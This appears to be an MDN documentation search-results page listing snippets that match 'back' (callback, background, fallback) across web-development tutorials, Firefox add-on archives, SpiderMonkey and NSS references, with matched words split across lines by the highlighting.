back function to test for each element, taking three arguments: currentvalue the current element being processed in the typed array.
...value to use as this when executing call
back.
... return value true if the call
back function returns a truthy value for any array element; otherwise, false.
...And 4 more matches
Codecs used by WebRTC - Web media technologies
comfort noise (cn) is a form of artificial
background noise which is used to fill gaps in a transmission instead of using pure silence.
...it is generally used as a least common denominator to ensure that browsers can achieve an audio connection regardless of platforms and browsers, or as a fall
back option in general.
...once the list has been split up, they're concatenated
back together with the entries matching the given mimetype first, followed by all of the other codecs.
...And 4 more matches
SDK API Lifecycle - Archive of obsolete content
you can try it out and provide feed
back, but we may change or remove it in future versions without having to pass through a formal deprecation process.
...
backwards-compatibility will be maintained if reasonable.
... if we do have to make
backwards-incompatible changes, we will not guarantee the module will go through the formal deprecation process.
...And 3 more matches
io/byte-streams - Archive of obsolete content
bytereader.read(); bytereader.close(); } } return data; } function writebinarydatatofile(data, filename) { var fileio = require("sdk/io/file"); var bytewriter = fileio.open(filename, "wb"); if (!bytewriter.closed) { bytewriter.write(data); bytewriter.close(); } } globals constructors bytereader(inputstream) creates a binary input stream that reads bytes from a
backing stream.
... parameters inputstream : stream the
backing stream, an nsiinputstream.
... bytewriter(outputstream) creates a binary output stream that writes bytes to a
backing stream.
...And 3 more matches
test/utils - Archive of obsolete content
may be asynchronous if beforefn accepts a third argument, which is a call
back.
... the third, optional, argument is a call
back.
... if the call
back is defined, then the beforefn is considered asynchronous, and the call
back must be invoked before the test runs.
...And 3 more matches
Interaction between privileged and non-privileged pages - Archive of obsolete content
the code containing the call
back could look like this: in the extension: var myextension = { mylistener: function(evt) { alert("received from web page: " + evt.target.getattribute("attribute1") + "/" + evt.target.getattribute("attribute2")); /* the extension answers the page*/ evt.target.setattribute("attribute3", "the extension"); var doc = evt.target.ownerdocument; var answerevt ...
... chromium-like messaging: json request with json call
back web page: <html> <head> <script> var something = { send_request: function(data, call
back) { // analogue of chrome.extension.sendrequest var request = document.createtextnode(json.stringify(data)); request.addeventlistener("something-response", function(event) { request.parentnode.removechild(request); if (call
back) { ...
... var response = json.parse(request.nodevalue); call
back(response); } }, false); document.head.appendchild(request); var event = document.createevent("htmlevents"); event.initevent("something-query", true, false); request.dispatchevent(event); }, call
back: function(response) { return alert("response: " + (response ?
...And 3 more matches
Connecting to Remote Content - Archive of obsolete content
following initialization, onload and onerror handlers are registered to a call
back function to handle the response returned from the remote server.
...in the onload call
back function, the responsetext parameter contains the server response as text.
...in synchronous mode the code and user interface are blocked while waiting for a response to come
back.
...And 3 more matches
Inner-browsing extending the browser navigation paradigm - Archive of obsolete content
as a general approach, the main steps to the iframe-based implementation can be represented as follows: create a hidden iframe in the page; when a new content is required, ask for the content to the iframe; the iframe will load the content and call
back a function in the main page; update the main page.
...another approach is to request an html page in the iframe and inside this page (requested data), set the onload event to call
back a function notifying the parent document (originator).
...to demonstrate how the call
back mechanism is implemented, imagine the following html page loaded into the iframe as a result of a request (retrievedata method requested the html file in to be loaded in the iframe): <body onload="top.iframecall
back(document);" > <mydata> this is the content that comes from the server </mydata> </body> note that when the page is loaded into the iframe, the onload event is fired and the parent.iframecall
back function is called in the context of the parent document (the originator).
...And 3 more matches
Migrate apps from Internet Explorer to Mozilla - Archive of obsolete content
as a result, mozilla is not fully
backwards-compatible with netscape navigator 4.x and microsoft internet explorer legacy code; for example, mozilla does not support <layer> as i will discuss later.
...in this article, i will describe mozilla's quirks mode, which provides strong
backwards html compatibility with internet explorer and other legacy browsers.
...you can deal with this by having an onload handler in the new window and then call
back into the opener window (using window.opener).
...And 3 more matches
New Skin Notes - Archive of obsolete content
please add any feed
back to this page.
... feed
back fix weird width bug on preferences page.
...--dria how about modifying style for the side-bar to have a :hover class added which modifies (to a slightly lighter shade) the
background color of the link, this will help to make items "appear as links" to many users, possibly add a text-decoration: underline as well.
...And 3 more matches
Popup Menus - Archive of obsolete content
a good example is the drop down menu that appears when you click on the little down arrows next to the
back and forward buttons in a browser window.
... example 2 : source view <button label="save" tooltiptext="click here to save your stuff"/> <popupset> <tooltip id="moretip" orient="vertical" style="
background-color: #33dd00;"> <description value="click here to see more information"/> <description value="really!" style="color: red;"/> </tooltip> </popupset> <button label="more" tooltip="moretip"/> these two buttons each have a tooltip.
...the second uses a custom tooltip that has a different
background color and styled text.
...And 3 more matches
XUL Questions and Answers - Archive of obsolete content
possible values include: accept, cancel, help, open, save, find, clear, yes, no, apply, close, print, add, remove, refresh, go-forward, go-
back, properties, select-font, select-color, network.
...(server can just send the xul code to use for popup - alternatively it can send generic xml describing the attributes of the items in the menu and you generate the xul on client by applying an xslt transform.) can i change a xul tree cell/row/item
background color with javascript?
... to set the
background color you need to set the property for the cell/row and not for the item.
...And 3 more matches
Adobe Flash - Archive of obsolete content
with fscommands, developers may choose to use macromedia's actionscript language to make a call
back into the environment that contains the flash animation -- in this case, the html page.
... the
background color of the entire page is toggled by clicking on a color within the flash animation.
... clicking on the animation makes a call
back to the external environment that hosts the plugin (the html page) and looks for a javascript method to handle the call from within flash.
...And 3 more matches
Introduction to Public-Key Cryptography - Archive of obsolete content
if the recipient of encrypted email messages loses his or her private key and does not have access to a
backup copy of the key, for example, the encrypted messages can never be decrypted.
...making information about the certificate available to other applications is publishing the certificate and then
backing up the key pairs so that the certificate can be recovered if it is lost.
...at the other end of the scale, for certificates that identify people who can authorize large expenditures or make other sensitive decisions, the issuing process may require notarized documents, a
background check, and a personal interview.
...And 3 more matches
Building a Theme - Archive of obsolete content
introduction this tutorial will take you through the steps required to build a very basic theme - one which updates the
background color of the toolbars in firefox.
... for this tutorial, we're going to update the
background color of the toolbars.
...search this file for the #navigator-toolbox selector, and add a
background: orange; rule to it.
...And 3 more matches
Common Firefox theme issues and solutions - Archive of obsolete content
@media all and (-moz-windows-compositor) { /* make transition to fullscreen mode seamlessly in firefox 10+ */ #main-window[infullscreen="true"] { -moz-appearance: none;
background-color: -moz-dialog!important; } } for more information about this issue please see bug 732757 and bug 732757 and this mozillazine thread.
... style inspector's bread crumb buttons are hard to read the text labels of breadcrumbs on the style inspector (tools > web developer > inspect) are too similar to the
background colors making them very hard to read.
... please choose text label colors that stand out against the
background color better.
...And 3 more matches
Styling the Amazing Netscape Fish Cam Page - Archive of obsolete content
since the image was floated, any
background or border we set on the h3 would "slide under" the image; this is an expected effect with floated elements.
...i then set up a thicker double border on the left, a one-pixel border the rest of the way around, and set the
background to match the rest of the design.
... thus: div.card {float: left; width: 45%; margin: 1em 2% 0 2%;} div.card img {float: left; margin: 4px 0 0 0; border: 1px solid #339;} div.card h3 {border: 1px solid #339; border-left: 5px double #339;
background: #eec url(body-bg-tan.jpg) bottom left no-repeat fixed; color: #339;} finishing the style adding the
background to the heading containing the name of the fish created three problems: the double border was completely covered up by the image.
...And 3 more matches
Introduction to game development for the Web - Game development
no more having customer feed
back filtered through an app store's limited mechanisms.
... web audio api this api for controlling the play
back, synthesis, and manipulation of audio from javascript code lets you create awesome sound effects as well as play and manipulate music in real time.
... webrtc the webrtc (real-time communications) api gives you the power to control audio and video data, including teleconferencing and transmitting other application data
back and forth between two users.
...And 3 more matches
HTML: A good basis for accessibility - Learn web development
table layouts are a relic of the past — they made sense
back when css support was not widespread in browsers, but now they just create confusion for screen reader users.
... building keyboard accessibility
back in adding such advantages
back in takes a bit of work (you can see an example in our fake-div-buttons.html example — also see the source code).
... this is a lot of extra hassle to build the functionality
back in.
...And 3 more matches
HTML: A good basis for accessibility - Learn web development
table layouts are a relic of the past — they made sense
back when css support was not widespread in browsers, but now they just create confusion for screen reader users.
... building keyboard accessibility
back in adding such advantages
back in takes a bit of work (you can see an example in our fake-div-buttons.html example — also see the source code).
... this is a lot of extra hassle to build the functionality
back in.
...And 3 more matches
Creating fancy letterheaded paper - Learn web development
objective: to test comprehension of css box model, and other box-related features such as implementing
backgrounds.
... add a
background declaration to the letter that: fixes the top image to the top of the letter fixes the bottom image to the bottom of the letter adds a semi-transparent gradient over the top of both of the previous
backgrounds that gives the letter a bit of texture.
... add another
background declaration that just adds the top image to the top of the letter, as a fall
back for browsers that don't support the previous declaration.
...And 3 more matches
How can we design for all types of users? - Learn web development
dig deeper color contrast to keep your text readable, use a text color that contrasts well with the
background color.
... the w3c defines a good color mix with an algorithm that calculates luminosity ratio between foreground and
background.
... for instance, let's test the colors on this page and see how we fare in the colour contrast analyser: the luminosity contrast ratio between text and
background is 8.30:1, which exceeds the minimum standard (4.5:1) and should enable many visually-impaired people to read this page.
...And 3 more matches
Example 1 - Learn web development
------ */ .select { font-size : 0.625em; /* 10px */ font-family : verdana, arial, sans-serif; -moz-box-sizing : border-box; box-sizing : border-box; padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */ width : 10em; /* 100px */ border : 0.2em solid #000; /* 2px */ border-radius : 0.4em; /* 4px */ box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */
background : #f0f0f0;
background : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ellipsis; vertical-align: top; } .select:after { content : "▼"; position: absolute; z-index : 1; height : 100%; width : 2em; /* 20px */ top : 0; right : ...
...0; padding-top : .1em; -moz-box-sizing : border-box; box-sizing : border-box; text-align : center; border-left : .2em solid #000; border-radius: 0 .1em .1em 0;
background-color : #000; color : #fff; } .select .optlist { z-index : 2; list-style: none; margin : 0; padding: 0;
background: #f0f0f0; border: .2em solid #000; border-top-width : .1em; border-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight {
background: #000; color: #ffffff; } result for basic state active state html <div class="select active"> <span class="value">cherry</span> ...
... */ /* fancy styles */ /* ------------ */ .select { font-size : 0.625em; /* 10px */ font-family : verdana, arial, sans-serif; box-sizing : border-box; padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */ width : 10em; /* 100px */ border : 0.2em solid #000; /* 2px */ border-radius : 0.4em; /* 4px */ box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */
background : #f0f0f0;
background : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ellipsis; vertical-align: top; } .select:after { content : "▼"; position: absolute; z-index : 1; height : 100%; width : 2em; /* 20px */ top : 0; right : ...
...And 3 more matches
The web and web standards - Learn web development
this article provides some useful
background on the web — how it came about, what web standard technologies are, how they work together, why "web developer" is a great career to choose, and what kinds of best practices you'll learn about through the course.
... fast forward to 1989, and timbl wrote information management: a proposal and hypertext at cern; these two publications together provided the
background for how the web would work.
... don't break the web another phrase you'll hear around open web standards is "don't break the web" — the idea is that any new web technology that is introduced should be
backwards compatible with what went before it (i.e.
...And 3 more matches
Getting started with HTML - Learn web development
</textarea> <div class="controls"> <input id="reset" type="button" value="reset" /> <input id="solution" type="button" value="show solution" /> </div> html { font-family: 'open sans light',helvetica,arial,sans-serif; } h2 { font-size: 16px; } .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px;
background: #f5f9fa; } var textarea = document.getelementbyid('code'); var reset = document.getelementbyid('reset'); var solution = document.getelementbyid('solution'); var output = document.queryselector('.output'); var code = textarea.value; var userentry = textarea.value; function updatecode() { output.innerhtml = textarea.value; } reset.addeventlistener('click', function() { textarea.value...
... and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.preventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { var scrollpos = textarea.scrolltop; var caretpos = textarea.selectionstart; var front = (textarea.value).substring(0, caretpos); var
back = (textarea.value).substring(textarea.selectionend, textarea.value.length); textarea.value = front + text +
back; caretpos = caretpos + text.length; textarea.selectionstart = caretpos; textarea.selectionend = caretpos; textarea.focus(); textarea.scrolltop = scrollpos; } // update the saved usercode every time the user updates the text area code textarea.onkeyup = function(){ // we...
...idth: 95%"> <p>a link to my favorite website.</p> </textarea> <div class="playable-buttons"> <input id="reset" type="button" value="reset"> <input id="solution" type="button" value="show solution"> </div> html { font-family: sans-serif; } h2 { font-size: 16px; } .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px;
background: #f5f9fa; } var textarea = document.getelementbyid('code'); var reset = document.getelementbyid('reset'); var solution = document.getelementbyid('solution'); var output = document.queryselector('.output'); var code = textarea.value; var userentry = textarea.value; function updatecode() { output.innerhtml = textarea.value; } reset.addeventlistener('click', function() { textarea.value ...
...And 3 more matches
Adding vector graphics to the Web - Learn web development
this being the case, only supporting browsers will load the svg — older browsers will load the png instead: <img src="equilateral.png" alt="triangle with equal sides" srcset="equilateral.svg"> you can also use svgs as css
background images, as shown below.
... in the below code, older browsers will stick with the png that they understand, while newer browsers will load the svg:
background: url("fall
back.png") no-repeat center;
background-image: url("image.svg");
background-size: contain; like the <img> method described above, inserting svgs using css
background images means that the svg can't be manipulated with javascript, and is also subject to the same css limitations.
... you may include fall
back in a <foreignobject> element, but browsers that support svg still download any fall
back images.
...And 3 more matches
Manipulating documents - Learn web development
going
back to the current example, let's start by grabbing a reference to our <section> element — add the following code at the bottom of your existing script (do the same with the other lines too): const sect = document.queryselector('section'); now let's create a new paragraph using document.createelement() and give it some text content in the same way as before: const para = document.createeleme...
... as an example, try adding these lines to our ongoing example: para.style.color = 'white'; para.style.
backgroundcolor = 'black'; para.style.padding = '10px'; para.style.width = '250px'; para.style.textalign = 'center'; reload the page and you'll see that the styles have been applied to the paragraph.
... if you look at that paragraph in your browser's page inspector/dom inspector, you'll see that these lines are indeed adding inline styles to the document: <p style="color: white;
background-color: black; padding: 10px; width: 250px; text-align: center;">we hope you enjoyed the ride.</p> note: notice how the javascript property versions of the css styles are written in lower camel case whereas the css versions are hyphenated (e.g.
...And 3 more matches
Useful string methods - Learn web development
tem.textcontent = input; list.appendchild(listitem); } } </textarea> <div class="playable-buttons"> <input id="reset" type="button" value="reset"> <input id="solution" type="button" value="show solution"> </div> html { font-family: sans-serif; } h2 { font-size: 16px; } .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px;
background: #f5f9fa; } const textarea = document.getelementbyid('code'); const reset = document.getelementbyid('reset'); const solution = document.getelementbyid('solution'); let code = textarea.value; let userentry = textarea.value; function updatecode() { eval(textarea.value); } reset.addeventlistener('click', function() { textarea.value = code; userentry = textarea.value; solutionentry =...
... make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.preventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { const scrollpos = textarea.scrolltop; const caretpos = textarea.selectionstart; const front = (textarea.value).substring(0, caretpos); const
back = (textarea.value).substring(textarea.selectionend, textarea.value.length); textarea.value = front + text +
back; caretpos = caretpos + text.length; textarea.selectionstart = caretpos; textarea.selectionend = caretpos; textarea.focus(); textarea.scrolltop = scrollpos; } // update the saved usercode every time the user updates the text area code textarea.onkeyup = function(){ // w...
...listitem.textcontent = result; list.appendchild(listitem); } </textarea> <div class="playable-buttons"> <input id="reset" type="button" value="reset"> <input id="solution" type="button" value="show solution"> </div> html { font-family: sans-serif; } h2 { font-size: 16px; } .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px;
background: #f5f9fa; } const textarea = document.getelementbyid('code'); const reset = document.getelementbyid('reset'); const solution = document.getelementbyid('solution'); let code = textarea.value; let userentry = textarea.value; function updatecode() { eval(textarea.value); } reset.addeventlistener('click', function() { textarea.value = code; userentry = textarea.value; solutionentry =...
...And 3 more matches
Multimedia: video - Learn web development
video autoplay to ensure that a looping
background video autoplays, you must add several attributes to the video tag: autoplay, muted, and playsinline.
... <video autoplay="" loop="" muted="true" playsinline="" src="
backgroundvideo.mp4"> while the loop and autoplay make sense for a looping and autoplaying video, the muted attribute is required for autoplay in mobile browsers.
... setting preload="none" results in none of the video being downloaded until play
back.
...And 3 more matches
Componentizing our React app - Learn web development
go
back to src/app.js, copy the first <li> from inside the unordered list, and paste it into todo.js so that it reads like this: export default function todo() { return ( <li classname="todo stack-small"> <div classname="c-cb"> <input id="todo-0" type="checkbox" defaultchecked={true} /> <label classname="todo-label" htmlfor="todo-0"> eat </label> </div...
...your <ul> should read like this: <ul role="list" classname="todo-list stack-large stack-exception" aria-labelledby="list-heading" > <todo /> <todo /> <todo /> </ul> when you look
back at your browser, you'll notice something unfortunate: your list now repeats the first task three times!
...let's go
back to todo.js and remedy that.
...And 3 more matches
React interactivity: Editing, filtering, conditional rendering - Learn web development
update the "edit" button in the viewtemplate like so: <button type="button" classname="btn" onclick={() => setediting(true)}> edit <span classname="visually-hidden">{props.name}</span> </button> now we'll add the same onclick handler to the "cancel" button in the editingtemplate, but this time we'll set isediting to false so that it switches us
back to the view template.
... editing from the ui much of what we're about to do will mirror the work we did in form.js: as the user types in our new input field, we need to track the text they enter; once they submit the form, we need to use a call
back prop to update our state with the new name of the task.
...ops.id} classname="todo-text" type="text" value={newname} onchange={handlechange} /> finally, we need to create a function to handle the edit form’s onsubmit event; add the following just below the previous function you added: function handlesubmit(e) { e.preventdefault(); props.edittask(props.id, newname); setnewname(""); setediting(false); } remember that our edittask() call
back prop needs the id of the task we're editing as well as its new name.
...And 3 more matches
Embedding API for Accessibility
there are many other pieces, such as preferences to allow the user to change foreground and
background colors, and font sizes.
... setboolpref("browser.use_system_fonts", usesystemfonts); no colors for page setcharpref("browser.display.foreground_color", "#abcdef" /* hex color value */); setcharpref("browser.display.
background_color", "#abcdef" /* hex color value */); setboolpref("browser.display.use_system_colors", boolsystemcolors); setboolpref("browser.display.use_document_colors", booluseauthorcolors); /* setting use_document_colors also stops
background images from loading */ moz 0.8 link appearance ...
...; setcharpref("browser.visited_color", "#abcdef" /* hex color value */); setboolpref("browser.underline_anchors", boolunderlinelinks); moz 0.8 focus appearance setboolpref("browser.display.use_focus_colors", usefocuscolors); setcharpref("browser.display.focus_
background_color", colorstring); setcharpref("browser.display.focus_text_color", colorstring); setcharpref("browser.display.focus_ring_width", numpixels); /* 0-4 */ moz 0.9.2 text selection appearance setcharpref("browser.selection.
background_color", colorstring); ...
...And 3 more matches
Accessible Toolkit Checklist
please contact the mozilla accessibility community with questions or feed
back.
...often these kinds of toolkits don't use a separate window for each control; in that case remember to generate a unique 32 bit child id for each control so that the msaa event system can call
back for the right iaccessible for each event.
... tab order must wrap, not have invisible items in tab order dynamically added items must not corrupt the tab cycle or make it disorderly tab cycle must be identical
backwards and forwards the f6 and shift+f6 key combinations should cycle through panes in a window making focus visible on any widget, and focus must always be visible shift+f10 or context menu key should work like right click on focused item, and context menu should show just under and to the right of the current focus.
...And 3 more matches
The Firefox codebase: CSS Guidelines
using variables use the variable according to its naming do this: xul|tab:hover {
background-color: var(--in-content-box-
background-hover); } not this: #certificateerrordebuginformation {
background-color: var(--in-content-box-
background-hover); } localization text direction for margins, padding and borders, use inline-start/inline-end rather than left/right.
... another adjustment to be aware of is that gecko removes all the
background-image when high contrast mode is enabled.
...in general, the following colors are used: -moz-field: textbox or field
background colors, also used as the
background color of listboxes or trees.
...And 3 more matches
Add-on Manager
many functions in the add-on manager interface operate asynchronously returning results through call
backs passed to the functions.
... the call
backs may be called immediately while the initial function is still executing or shortly after, depending on when the requested data becomes available.
...all of its functions are asynchronous, meaning that a call
back function must be passed to receive the addon instances.
...And 3 more matches
Interfacing with the Add-on Repository
when the user clicks a toolbar button to initiate the query, the following code gets run to start the request: addonrepository.retrieverecommendedaddons(10, this); this asks the repository to fetch up to 10 add-ons, using the object this as the target for call
backs.
... the call
back object needs to implement the searchcall
back interface, providing the methods that get called when a search either fails or completes successfully.
... handling failed requests the call
back object must have a searchfailed() method; this gets called when a repository search fails to execute.
...And 3 more matches
PopupNotifications.jsm
call
back a javascript function to be invoked when the action is selected by the user.
... eventcall
back a javascript function to be invoked when the notification changes state.
... the call
back's first parameter is a string identifying the state change that occurred.
...And 3 more matches
SVN for Localizers
here you'll learn the process of using svn to obtain mozilla website source files from the mozilla servers and pushing your localizations right
back to them.
...you use it to copy files from the server to your computer and to push changed or localized files
back onto the server.
...also, we use https instead of http because changes can only be pushed
back to the mozilla svn repository through a secure connection.
...And 3 more matches
NSS 3.17.1 release notes
new functionality tls_fall
back_scsv is a signaling cipher suite value that indicates a handshake is the result of tls version fall
back.
... new macros in ssl.h ssl_enable_fall
back_scsv - an ssl socket option that enables tls_fall
back_scsv.
... in sslerr.h ssl_error_inappropriate_fall
back_alert - a new ssl error code.
...And 3 more matches
NSS_3.12.3_release_notes.html
nss 3.12.3 release notes 2009-04-01 newsgroup: mozilla.dev.tech.crypto contents introduction distribution information new in nss 3.12.3 bugs fixed documentation compatibility feed
back introduction network security services (nss) 3.12.3 is a patch release for nss 3.12.
...slt.h: ssl_calg_seed new structure for seed support: (see blapit.h) seedcontextstr seedcontext new functions in the nss shared library: cert_rfc1485_escapeandquote (see cert.h) cert_comparecerts (see cert.h) cert_registeralternateocspaiainfocall
back (see ocsp.h) pk11_getsymkeyhandle (see pk11pqg.h) util_setforkstate (see secoid.h) nss_getalgorithmpolicy (see secoid.h) nss_setalgorithmpolicy (see secoid.h) for the 2 functions above see also (in secoidt.h): nss_use_alg_in_cert_signature nss_use_alg_in_cms_signature nss_use_alg_reserved ...
...
backwards compatibility (wildcards) bug 334678: prng_fips1861.c redefines the macro bsize on hp-ux bug 335016: mpp_pprime (miller-rabin probabilistic primality test) may choose 0 or 1 as the random integer bug 347037: make shlibsign depend on the softoken only bug 371522: auto-update of crls stops after first update bug 380784: pk11mode in non fips mode failed.
...And 3 more matches
Bytecode Descriptions
format: jof_icindex loophead operands: (uint32_t icindex, uint8_t depthhint) marks the target of the
backwards jump for some loop.
...this is the instruction used at the end of a do-while loop to jump
back to the top.
... retsub stack: throwing, v ⇒ jump
back to the next instruction, or rethrow an exception, at the end of a finally block.
...And 3 more matches
Invariants
however, there is another internal api, js::switchtocompartment, that lets you break this invariant, and of course in xpconnect we use that from time to time when we know we aren't going to be creating any new objects (other than global objects, which have no parent or prototype) or doing anything that might call
back into native code that could create objects.
...a jsnative or other call
back may move cx to another compartment, as long as it returns cx to the script's compartment before returning.
... almost all jsapi call
backs provide a request; that is, when we call a call
back with a cx argument, we know statically that we must be in a request on cx there.
...And 3 more matches
SpiderMonkey Internals
semantic and lexical feed
back are used to disambiguate hard cases such as missing semicolons, assignable expressions ("lvalues" in c parlance), and whether / is the division symbol or the start of a regular expression.
...js api users should call js_gc or js_maybegc between script executions or from the operation call
back, as often as necessary.
...in general, both functions inside spidermonkey and jsapi call
back functions signal errors by calling js_reporterror or one of its variants, or js_setpendingexception, and returning js_false or null.
...And 3 more matches
JS::CompileOffThread
syntax bool js::cancompileoffthread(jscontext *cx, const js::readonlycompileoptions &options, size_t length); bool js::compileoffthread(jscontext *cx, const js::readonlycompileoptions &options, const char16_t *chars, size_t length, js::offthreadcompilecall
back call
back, void *call
backdata); jsscript * js::finishoffthreadscript(jscontext *maybecx, jsruntime *rt, void *token); typedef void (*js::offthreadcompilecall
back)(void *token, void *call
backdata); name type description cx / maybe jscontext * pointer to a js context from which to derive runtime information.
... call
back js::offthreadcompilecall
back a call
back function invoked when the compilation.
... call
backdata / token void * pointer to application-defined data.
...And 3 more matches
JSNative
jsnative is the type of many jsapi call
backs.
... in particular, apis such as js_initclass and js_definefunctions create custom methods on javascript objects that are implemented as jsnative call
backs provided by the application, written in c/c++ code.
...in js_threadsafe builds, the javascript engine calls this call
back only from within an active request on cx.
...And 3 more matches
JSObjectOps.defaultValue
the javascript engine calls the jsobjectops.defaultvalue and jsclass.convert call
backs to convert objects to primitive values.
...on success, the call
back must store the converted value here.
... description the jsobjectops.defaultvalue call
back corresponds to the [[defaultvalue]] method defined in ecma 262-3 §8.6.2.6.
...And 3 more matches
JS_SetObjectPrincipalsFinder
set the runtime-wide object-principals-finder call
back.
...in spidermonkey 1.8.1 or later, use js_setruntimesecuritycall
backs instead.
... fop jsobjectprincipalsfinder the new object-principals-finder call
back.
...And 3 more matches
SpiderMonkey 1.8.5
many jsapi types, functions, and call
back signatures have changed, though most of them still have the same names and do the same things.
... js_getcompartmentprivate js_getemptystring js_getflatstringchars js_getgcparameter js_getgcparameterforthread js_getglobalforscopechain js_getinternedstringchars js_getinternedstringcharsandlength js_getownpropertydescriptor js_getpropertyattrsgetterandsetterbyid js_getpropertybyid js_getpropertybyiddefault js_getpropertydefault js_getpropertydescriptorbyid js_getruntimesecuritycall
backs js_getsecuritycall
backs js_getstringcharsandlength js_getstringcharsz js_getstringcharszandlength js_getstringencodinglength js_haspropertybyid js_initctypesclass js_internjsstring js_isconstructing_possiblywithgiventhisobject js_isextensible js_isinrequest js_leavecrosscompartmentcall js_lookuppropertybyid js_lookuppropertywithflagsbyid js_new js_newcompartmentandglobalobject j...
...t jsautoentercompartment js::anchor<> js::call obsolete apis js_clearnewbornroots js_enterlocalrootscope js_leavelocalrootscope js_leavelocalrootscopewithresult js_forgetlocalroot js_newgrowablestring deleted apis js_addnamedroot – use js_add*root js_addnamedrootrt – use js_add*root js_addroot – use js_add*root js_clearnewbornroots – no longer needed js_clearoperationcall
back js_clearregexproots js_decompilescript js_destroyscript js_enterlocalrootscope js_executescriptpart js_forgetlocalroot js_getfunctionname js_getoperationlimit js_getscriptobject js_getstringbytes js_getstringchars js_isassigning js_leavelocalrootscope js_leavelocalrootscopewithresult js_newdouble js_newdoublevalue js_newscriptobject js_newstring js_poparguments js_pushargument...
...And 3 more matches
Web Replay
live rewinding at any time while recording, the tab can be rewound to replay earlier behavior, all the way
back to when the tab was opened or to the last time it navigated.
... step
back when paused, the reverse step button in the debugger developer tool will step to the previous line executed and allow inspecting program state there.
... rewind to breakpoint when paused, if there are any breakpoints set then the rewind button will run
back and stop at the last time a breakpoint was set.
...And 3 more matches
Making cross-thread calls using runnables
so we declare an asynchronous version of the same function: typedef void (*picall
back)(const nscstring& result); // call
back function void calculatepiasynchronously(int digits, picall
back call
back); creating a runnable nsrunnable is a helper class: it already implements threadsafe refcounting, so all you need to do is override the run() function.
... in our example, we actually need two runnables: one dispatched to the worker thread, and one to hand us
back the result.
... #include "nsthreadutils.h" class piresulttask : public nsrunnable { public: piresulttask(picall
back call
back, const nsacstring& result) : mcall
back(call
back) , mresult(result) , mworkerthread(do_getcurrentthread()) { moz_assert(!ns_ismainthread()); // this should be running on the worker thread } ns_imethod run() { moz_assert(ns_ismainthread()); // this method is supposed to run on the main thread!
...And 3 more matches
amIInstallTrigger
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview boolean enabled(); boolean install(in nsivariant aargs, [optional] in amiinstallcall
back acall
back); boolean installchrome(in pruint32 atype, in astring aurl, in astring askin); deprecated since gecko 2.0 boolean startsoftwareupdate(in astring aurl, [optional] in print32 aflags); deprecated since gecko 2.0 boolean updateenabled(); deprecated since gecko 2.0 constants retained for
backwards compatibility.
... boolean install( in nsivariant aargs, in amiinstallcall
back acall
back optional ); parameters aargs the add-ons to install.
... acall
back optional a call
back to call as each installation succeeds or fails.
...And 3 more matches
nsIAlertsService
textclickable optional if true, if the user clicks on it, the listener is notified; when hovered the notification
background becomes lighter and the cursor turns to a pointer.
... cookie optional a blind cookie the alert passes
back to the consumer during alert listener call
backs.
... alertlistener optional an object to receive call
backs from the alert; may be null if you don't care about call
backs.
...And 3 more matches
nsIAsyncInputStream
method overview void asyncwait(in nsiinputstreamcall
back acall
back, in unsigned long aflags, in unsigned long arequestedcount, in nsieventtarget aeventtarget); void closewithstatus(in nsresult astatus); constants constant value description wait_closure_only (1<<0) if passed to asyncwait(), this flag overrides the default behavior, causing the oninputstreamready notification to be suppressed until the stream becomes closed (either as a result ...
...the notification is one-shot, meaning that each asyncwait call will result in exactly one notification call
back.
... after the oninputstreamready event is dispatched, the stream releases its reference to the nsiinputstreamcall
back object.
...And 3 more matches
nsIAsyncOutputStream
method overview void asyncwait(in nsioutputstreamcall
back acall
back, in unsigned long aflags, in unsigned long arequestedcount, in nsieventtarget aeventtarget); void closewithstatus(in nsresult reason); constants constant value description wait_closure_only (1<<0) if passed to asyncwait(), this flag overrides the default behavior, causing the onoutputstreamready notification to be suppressed until the stream becomes closed (either as a result ...
...the notification is one-shot, meaning that each asyncwait call will result in exactly one notification call
back.
... after the nsioutputstreamcall
back.onoutputstreamready() event is dispatched, the stream releases its reference to the nsioutputstreamcall
back object.
...And 3 more matches
nsIGeolocationProvider
1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) this must be called on the main thread interface provides location information to the nsgeolocator via the nsidomgeolocationcall
back interface.
... after startup() is called, any geo location change should call call
back.update().
...after the provider has been initialized, any changes to location should call call
back.onrequest().
...And 3 more matches
nsIHTMLEditor
lection aselection); nsidomelement createanonymouselement(in astring atag, in nsidomnode aparentnode, in astring aanonclass, in boolean aiscreatedhidden); nsidomelement createelementwithdefaults(in astring atagname); void decreasefontsize(); void dodrag(in nsidomevent aevent); void getalignment(out boolean amixed, out short aalign); astring get
backgroundcolorstate(out boolean amixed); nsidomelement getelementorparentbytagname(in astring atagname, in nsidomnode anode); astring getfontcolorstate(out boolean amixed); astring getfontfacestate(out boolean amixed); astring getheadcontentsashtml(); astring gethighlightcolorstate(out boolean amixed); void getindentstate(out boolean acanindent, o...
